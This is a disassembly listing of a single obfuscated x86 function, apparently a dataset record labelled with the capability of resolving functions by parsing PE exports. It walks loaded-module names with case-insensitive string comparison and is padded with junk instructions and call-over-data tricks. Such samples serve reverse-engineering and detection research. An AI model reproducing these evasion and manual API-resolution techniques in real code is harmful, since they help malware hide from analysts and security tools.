Function at 0x50ec5f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ebx
cmp dword [ebp - 0xc58], 0
jne 0x50e9e6
mov dword [ebp - 0x710], 0
jmp 0x50ec31
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ebx
push edi
add esp, 4
sub ebx, 0x11b77
sub ebx, 0x20de
jmp 0x50ea09
jmp 0x50ea0f
pop ebx
push ebx
sub ebx, 0x8da2
sub ebx, 0x76f3
sub ebx, 0x4a6f
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
push esi
add esp, 4
sub ecx, 0x14f3b
sub ecx, 0x15aa6
xor ecx, 0x63e6
call 0x50ea71
add byte [eax + 0x43], dl
xor al, 0x4d
xor al, byte [ebx + eax*4 - 0x3c]
add al, 0x59
push edx
jmp 0x50ea7f
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push esi
sub esi, 0x158cc
pop esi
push edx
and edx, 0x16979
add edx, 0xc955
and edx, 0x2d61
jmp 0x50eafa
pop edx
push ecx
xor ecx, 0x272b
or ecx, 0xe357
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x50eb26
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x50eb80
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x50ea4e
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x50ea4e
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x50eb6a
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x50eb74
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x50ebc9
push edi
add edi, 0x41f9
and edi, 0x1d92
pop edi
push ebx
call 0x50eba7
add byte [ebp + 0x3a], al
dec edx
cmp byte [edi + esi + 0x4d], al
xor dh, byte [ebx]
add esp, 4
call 0x50ebb7
add byte [edi + 0x4a], al
inc ebp
inc eax
cmp al, 0x3b
inc esi
add esp, 4
pop ebx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x50ec31
push esi
push ecx
add esp, 4
add esi, 0x9e2a
sub esi, 0x107ca
xor esi, 0x9f02
pop esi
push eax
push ebx
add esp, 4
or eax, 0x64ad
pop eax
push eax
add eax, 0x12a92
xor eax, 0x4130
pop eax
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x50ec27
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x50e9f2
mov dword [ebp - 0x710], 0
push esi
add esi, 0x47cb
call 0x50ec47
add byte [ebp + 0x50], cl
xor al, 0x35
push eax
inc ebx
inc ebx
cmp al, 0x42
add esp, 4
sub esi, 0x1d78
call 0x50ec5f
add byte [edi], dh
inc ebx
cmp byte [ecx + 0x3a], cl
inc ebp
dec edi
dec edi
cmp al, byte [ebx - 0x7ca1fb3c]
mov ebp, 0xfffff8f0
add byte [ebp + 0x41], dh
push ecx
push edx
add esp, 4
call 0x50ec7d
add byte [esi], dh
dec ebx
cmp byte [ecx + ecx*2 + 0x39], cl
add esp, 4
and ecx, 0x599e
pop ecx
push ecx
and ecx, 0xb71b
jmp 0x50ec97
xor ecx, 0x9190
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x50f7d5